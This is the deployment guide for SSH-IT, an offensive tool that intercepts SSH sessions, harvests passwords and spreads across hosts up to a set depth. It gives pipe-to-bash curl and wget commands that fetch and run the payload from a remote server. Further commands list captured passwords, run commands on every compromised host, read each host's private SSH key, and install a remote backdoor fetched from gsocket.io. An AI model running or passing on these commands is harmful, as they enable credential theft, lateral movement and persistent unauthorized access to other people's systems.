SSH-IT / Deployment

Use either one of these commands to deploy:

bash -c "$(curl -fsSL https://thc.org/ssh-it/x)"

or:

bash -c "$(wget --no-verbose -O- https://thc.org/ssh-it/x)"

Deploy-Example

To show all captured passwords use:

~/.config/prng/thc_cli -r list

Deploy-Example

To uninstall use:

~/.config/prng/thc_cli -r uninstall

Environment variables:

Deployment can be controlled with these environment variables

`THC_DEPTH=`	SSH-IT will spread to this depth and then stop. The default is `THC_DEPTH=2`.
`THC_BASEDIR=`	Installation directory. Default is `THC_BASEDIR="${HOME}/.config/prng"`.
`THC_VERBOSE=1`	For testing only: Display a warning to the user when ssh is being intercepted (in bold red).
`THC_DEBUG=1`	For testing only: Display debug information
`THC_DEBUG_LOG=thc.log`	For testing only: Output (most) debug information to `thc.log`.

Example:

THC_DEPTH=6 THC_DEBUG=1 bash -c "$(curl -fsSL https://thc.org/ssh-it/x)"

Tips & Tricks

SSH-IT is controlled with thc_cli.

usage: thc_cli [-hr] [command]
    -h          This help
    -r          Recursive (for all hosts)
Command:
    list       - Show passwords
    exec <cmd> - Execute <cmd> on target [e.g. thc_cli -r exec "id; date"]
    clean      - Clean logfiles and state information
    disable    - Disable interception
    uninstall  - Clean, disable and completely remove
Example: thc_cli -r list

Remote Command Execution

Executing a command on all hosts:

~/.config/prng/thc_cli -r exec 'id'

Retrieve the private SSH key (id_rsa) from all hosts:

~/.config/prng/thc_cli -r exec 'cat .ssh/id_rsa 2>/dev/null'

Install a backdoor on all hosts:

~/.config/prng/thc_cli -r exec 'bash -c "$(curl -fsSL https://gsocket.io/y)"'

Offline Installs or when HTTPS is not available

Deploy from a self-extracting shell-script ssh-it-deploy.sh:

# Without HTTPS
wget --no-hsts http://nossl.segfault.net/ssh-it-deploy.sh && \
bash ./ssh-it-deploy.sh

Help the team

Help us fix bugs and send us thc.log if a boo-boo happens:

THC_DEBUG=1 THC_DEBUG_LOG=thc.log ssh user@yourhost "id"

Special thanks to Leonardo, Gerald, BadAdvert1zer and DoctorWho for ideas and testing.

Contact

~~X.com: https://x.com/hackerschoice~~
Mastodon: @thc@infosec.exchange
Telegram: https://t.me/thcorg
Web: https://www.thc.org
Medium: https://medium.com/@hackerschoice
Hashnode: https://iq.thc.org/
Abuse: https://thc.org/abuse
E-Mail: members@proton.thc.org
Signal: ask
SimpleX: ask